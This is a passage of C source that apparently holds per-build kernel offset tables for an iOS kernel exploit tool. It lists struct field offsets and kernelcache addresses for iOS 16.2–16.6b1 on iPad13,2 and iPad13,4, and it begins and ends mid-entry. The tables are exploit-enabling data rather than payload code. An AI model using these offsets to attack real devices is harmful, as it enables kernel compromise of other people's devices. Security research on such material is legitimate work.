.vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a481208,\n            .kernelcache__gPhysBase = 0xfffffff007917fc0,\n            .kernelcache__gPhysSize = 0xfffffff007917fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007916198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4bf520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0864c,\n            .kernelcache__ptov_table = 0xfffffff0078cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4be990,\n            .kernelcache__vm_pages = 0xfffffff0078c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4be988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f57538,\n        },\n\n        // iOS 16.4.1\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a481208,\n            .kernelcache__gPhysBase = 0xfffffff007917fc0,\n            .kernelcache__gPhysSize = 0xfffffff007917fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007916198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4bf520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0864c,\n            .kernelcache__ptov_table = 0xfffffff0078cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4be990,\n            .kernelcache__vm_pages = 0xfffffff0078c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4be988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f57538,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d288,\n            .kernelcache__gPhysBase = 0xfffffff00791c100,\n            .kernelcache__gPhysSize = 0xfffffff00791c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791a2d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c84c,\n            .kernelcache__ptov_table = 0xfffffff0078cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b9d0,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a525ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079302a8,\n            .kernelcache__gPhysSize = 0xfffffff0079302a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00792e460,\n            .kernelcache__perfmon_devices = 0xfffffff00a565550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f3108c,\n            .kernelcache__ptov_table = 0xfffffff0078e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a564910,\n            .kernelcache__vm_pages = 0xfffffff0078e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a564908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f7fbe0,\n        },\n\n    // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 